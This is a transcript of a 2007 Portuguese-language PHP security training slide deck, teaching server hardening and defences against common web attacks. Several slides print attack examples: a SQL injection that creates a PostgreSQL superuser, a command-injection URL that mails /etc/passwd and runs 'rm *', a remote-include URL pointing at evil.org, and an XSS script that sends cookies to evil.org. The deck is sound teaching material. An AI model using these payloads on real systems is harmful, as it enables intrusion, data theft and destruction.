Security & PHP

8,499 views

Published on

PHP Summer School, Lisbon, Jul 2007
Security Module

Published in: Technology
0 Comments
13 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
8,499
On SlideShare
0
From Embeds
0
Number of Embeds
86
Actions
Shares
0
Downloads
430
Comments
0
Likes
13
Embeds 0
No embeds

No notes for slide

Security & PHP

  1. 1. PHP Summer School PHP Summer School Segurança Nuno Loureiro <nuno@co.sapo.pt> http://blog.sig9.net/ 20/07/2007 Nuno Loureiro <nuno@co.sapo.pt> 20/07/2007
  2. 2. PHP Summer School About me • Licenciatura em Eng. Sistemas e Computação • Começou a usar Linux em 1995 • Começou a programar PHP em 1999 • Organizou o 1º Simpósio de Linux em 1999 - Simplinux • Sócio-fundador da ETH em 1999 • Autor do artigo “Programming PHP with Security in Mind” na Linux Journal 10/2002 • Juntou-se à equipa do SAPO em 2002 • Programador do Webmail do SAPO • Gestor técnico da plataforma de email do SAPO • Zend Certified Engineer em 2005 Segurança 2
  3. 3. PHP Summer School Sumário • Segurança do Sistema • Sistema Operativo e Serviços • Servidor de Web • Código PHP • Register Globals • Processamento de Forms • Interacção com Bases de Dados • Chamar programas externos • Incluir ficheiros • Sessões • Cross-Site Scripting • Conclusão Segurança 3
  4. 4. PHP Summer School Segurança do Sistema Sistema Operativo e Serviços • Sistema Operativo • Manter o S.O. sempre actualizado • Instalar todos os patchs de segurança disponibilizados pelo vendedor • Serviços • Fechar todos os ports não necessários ou • Desligar todos os serviços de rede não necessários • Ferramentas para auditoria de segurança • Ex: Nessus - http://www.nessus.org/ Segurança 4
  5. 5. PHP Summer School Segurança do Sistema Servidor de Web - Configuração • Correr com um UID próprio (ex: nobody) • Desligar opção/módulo para listar o conteúdo de directórios • mod_autoindex • Negar acesso a directórios não necessários <LocationMatch quot;/(scripts|templates|lib|locale|config|docs)/quot;> order deny,allow deny from all </LocationMatch> • Negar acesso a ficheiros não necessários <FilesMatch quot;.(inc)?~?$quot;> order deny,allow deny from all </FilesMatch> Segurança 5
  6. 6. PHP Summer School Segurança do Sistema Servidor de Web - Configuração Falhas nestas configurações básicas podem ter consequências gravíssimas Wrong! Right! wget http://foobar.pt/horde/config/horde.php.bak É de notar que o directório config nunca precisa de ser acedido via HTTP. Os ficheiros de configuração são incluidos pelo PHP através do filesystem Segurança 6
  7. 7. PHP Summer School Segurança do Sistema Servidor de Web - PHP php.ini: displays_errors = off log_errors = on error_log = /var/log/php.log register_globals = off ** session.use_trans_sid = 0 ** open_basedir = /servers/www/foo.bar/ expose_php = off Auditoria de Segurança da Instalação de PHP: • PHPSecInfo - http://phpsec.org/projects/phpsecinfo/ ** by default Segurança 7
  8. 8. PHP Summer School Código PHP Agora que vamos começar a programar, convém termos umas noções básicas. • Segurança é uma medida e não uma característica • Segurança têm de ser balanceada com os custos • Segurança têm de ser balanceada com usabilidade • Um sistema completamente seguro é virtualmente impossível • Usar bom senso para balancear estes conceitos! • Saber os conceitos para programar PHP com segurança é fácil, o difícil é nos habituarmos a usá-los! Segurança 8
  9. 9. PHP Summer School Código PHP Primeira lição e regra básica para programar PHP com segurança: Segurança 9
  10. 10. PHP Summer School Código PHP Primeira lição e regra básica para programar PHP com segurança: NEVER TRUST USER INPUT!! Segurança 9
  11. 11. PHP Summer School Código PHP Aprenderam? Permitam que me repita novamente: Segurança 10
  12. 12. PHP Summer School Código PHP Aprenderam? Permitam que me repita novamente: NEVER TRUST USER INPUT!! Segurança 10
  13. 13. PHP Summer School Código PHP Register Globals • Desde a versão 4.2.0 que o register_globals está desligado por default. • Foi das alterações de configuração mais polémicas da história do PHP. • Todo o tipo de variáveis externas era introduzida no Global Scope. • Com esta alteração todas as variáveis externas são disponibilizadas em superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV, $_FILES, $_SESSION, ... Segurança 11
  14. 14. PHP Summer School Código PHP Register Globals • Desde a versão 4.2.0 que o register_globals está desligado por default. • Foi das alterações de configuração mais polémicas da história do PHP. • Todo o tipo de variáveis externas era introduzida no Global Scope. • Com esta alteração todas as variáveis externas são disponibilizadas em superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV, $_FILES, $_SESSION, ... Wrong! Segurança 11
  15. 15. PHP Summer School Código PHP Register Globals • Desde a versão 4.2.0 que o register_globals está desligado por default. • Foi das alterações de configuração mais polémicas da história do PHP. • Todo o tipo de variáveis externas era introduzida no Global Scope. • Com esta alteração todas as variáveis externas são disponibilizadas em superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV, $_FILES, $_SESSION, ... Wrong! Right! Segurança 11
  16. 16. PHP Summer School Código PHP Processamento de Forms Spoofed Form Submission: http://example.org/form.html: <form action=quot;/process.phpquot; method=quot;POSTquot;> <select name=quot;colorquot;> <option value=quot;redquot;>red</option> <option value=quot;greenquot;>green</option> <option value=quot;bluequot;>blue</option> </select> <input type=quot;submitquot; /> </form> Spoofed form: <form action=quot;http://example.org/process.phpquot; method=quot;POSTquot;> <input type=quot;textquot; name=quot;colorquot; /> <input type=quot;submitquot; /> </form> Spoofed HTTP Request: POST /process.php HTTP/1.1 Host: example.org Content-Type: application/x-www-form-urlencoded Content-Length: 9 color=red Segurança 12
  17. 17. PHP Summer School Código PHP Processamento de Forms Spoofed Form Submission: http://example.org/form.html: <form action=quot;/process.phpquot; method=quot;POSTquot;> <select name=quot;colorquot;> <option value=quot;redquot;>red</option> <option value=quot;greenquot;>green</option> <option value=quot;bluequot;>blue</option> </select> <input type=quot;submitquot; /> Right! </form> Spoofed form: <form action=quot;http://example.org/process.phpquot; method=quot;POSTquot;> <input type=quot;textquot; name=quot;colorquot; /> <input type=quot;submitquot; /> </form> Spoofed HTTP Request: POST /process.php HTTP/1.1 Host: example.org Este exemplo não parece perigoso... Content-Type: application/x-www-form-urlencoded Content-Length: 9 color=red Segurança 12
  18. 18. PHP Summer School Código PHP Processamento de Forms Spoofed Form Submission: http://example.org/fupload.php: Spoofed form: <form method=quot;postquot; name=quot;fileuploadquot; action=quot;fupload.phpquot;> <input type=quot;hiddenquot; name=quot;fnquot; value=quot;/var/www/html/index.phpquot;> <input type=quot;hiddenquot; name=quot;fn_typequot; value=quot;textquot;> <input type=quot;hiddenquot; name=quot;fn_sizequot; value=quot;22quot;> <input type=quot;submitquot; name=quot;upload_filequot; value=quot;Uploadquot;> Segurança 13
  19. 19. PHP Summer School Código PHP Processamento de Forms Spoofed Form Submission: http://example.org/fupload.php: Right! Spoofed form: <form method=quot;postquot; name=quot;fileuploadquot; action=quot;fupload.phpquot;> <input type=quot;hiddenquot; name=quot;fnquot; value=quot;/var/www/html/index.phpquot;> <input type=quot;hiddenquot; name=quot;fn_typequot; value=quot;textquot;> <input type=quot;hiddenquot; name=quot;fn_sizequot; ... mas este já parece perigoso! value=quot;22quot;> <input type=quot;submitquot; name=quot;upload_filequot; value=quot;Uploadquot;> Segurança 13
  20. 20. PHP Summer School Código PHP Interacção com Bases de Dados SQL Injection Exemplo: Ataque: Query executado: http://example.com/edit.php?update_table_submit update users set password=aaa =1&table=users+set+password%3Daaa where user=quot;adminquot; # set name=$name +where+user%3D%27admin%27+%23 Boas práticas: • Filtrem os dados. Se sabem o que esperam, filtrem! • Se a base de dados permitir, coloquem pelicas à volta de todos os dados independente do tipo de dados • “Escape your data” - ex: mysql_real_escape_string(), addslashes() Segurança 14
  21. 21. PHP Summer School Código PHP Interacção com Bases de Dados SQL Injection Outro Exemplo: Query executado: 0; insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd) select 'crack', usesysid, 't','t','crack' from pg_shadow where usename='postgres'; -- Segurança 15
  22. 22. PHP Summer School Código PHP Interacção com Bases de Dados SQL Injection Outro Exemplo: Query executado: 0; insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd) select 'crack', usesysid, 't','t','crack' from pg_shadow where usename='postgres'; -- Possível Solução: Segurança 15
  23. 23. PHP Summer School Código PHP Chamar programas externos Exemplo: Ataque: http://example.com/send.php?$to=evil%40evil.org+ %3C+%2Fetc%2Fpasswd%3B+rm+%2A Resultado: /usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm * Segurança 16
  24. 24. PHP Summer School Código PHP Chamar programas externos Exemplo: Ataque: http://example.com/send.php?$to=evil%40evil.org+ %3C+%2Fetc%2Fpasswd%3B+rm+%2A Resultado: /usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm * Solução: Segurança 16
  25. 25. PHP Summer School Código PHP Incluir ficheiros Incluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo Exemplo: Ataque: http://example.com/leftframe.php?layout=http://evil.org/nasty.html nasty.html: Segurança 17
  26. 26. PHP Summer School Código PHP Incluir ficheiros Incluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo Exemplo: Ataque: http://example.com/leftframe.php?layout=http://evil.org/nasty.html nasty.html: Segurança 17
  27. 27. PHP Summer School Código PHP Incluir ficheiros Incluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo Exemplo: Ataque: http://example.com/leftframe.php?layout=http://evil.org/nasty.html nasty.html: Solução: Segurança 17
  28. 28. PHP Summer School Código PHP Sessões Session Fixation / Session Hijacking Exemplo para compreensão: Atacante fornece URL: http://example.com/index.php?PHPSESSID=12345 Vítima usa URL, faz login no site e atacante faz hijacking da sessão Segurança 18
  29. 29. PHP Summer School Código PHP Sessões Session Fixation / Session Hijacking Exemplo para compreensão: Atacante fornece URL: http://example.com/index.php?PHPSESSID=12345 Vítima usa URL, faz login no site e atacante faz hijacking da sessão Solução: Segurança 18
  30. 30. PHP Summer School Código PHP Cross Site Scripting Exemplo: Ataque - email cujo subject é: <script> self.location.href= quot;http://evil.org/cookie-grab.html?cookies=quot; +escape(document.cookie) </script> Atacante pode ver nos logs do seu servidor os cookies da vítima Segurança 19
  31. 31. PHP Summer School Código PHP Cross Site Scripting Exemplo: Ataque - email cujo subject é: <script> self.location.href= quot;http://evil.org/cookie-grab.html?cookies=quot; +escape(document.cookie) </script> Atacante pode ver nos logs do seu servidor os cookies da vítima Solução: Segurança 19
  32. 32. PHP Summer School Código PHP Conclusão addslashes() intval() htmlentities() is_int() settype() is_scalar() ctype_digit() is_numeric() preg_match() ctype_alpha() htmlspecialchars() ctype_alnum() mysql_real_escape_string() pg_escape_string() is_float() Segurança 20
  33. 33. PHP Summer School Código PHP Exercícios Exercício I Fazer o security fix do seguinte script: Segurança 21
  34. 34. PHP Summer School Código PHP Exercícios Solução para o Exercício I: Segurança 22
  35. 35. PHP Summer School Código PHP Exercícios Exercício II • Fazer o security fix do seguinte script: • De que tipo de vulnerabilidade sofre este script ? Segurança 23
  36. 36. PHP Summer School Código PHP Exercícios Solução para o Exercício II: • O script pode sofrer um ataque de SQL Injection Segurança 24
  37. 37. PHP Summer School Código PHP Exercícios Exercício III • Fazer o security fix do seguinte script: • De que tipo de vulnerabilidade sofre este script ? Segurança 25
  38. 38. PHP Summer School Código PHP Exercícios Solução para o Exercício III: O script pode sofrer um ataque de Cross Site Scripting Segurança 26
  39. 39. PHP Summer School PHP Summer School FIM! Obrigado, perguntas? Nuno Loureiro <nuno@co.sapo.pt> http://blog.sig9.net/ 20/07/2007 Nuno Loureiro <nuno@co.sapo.pt> 20/07/2007

×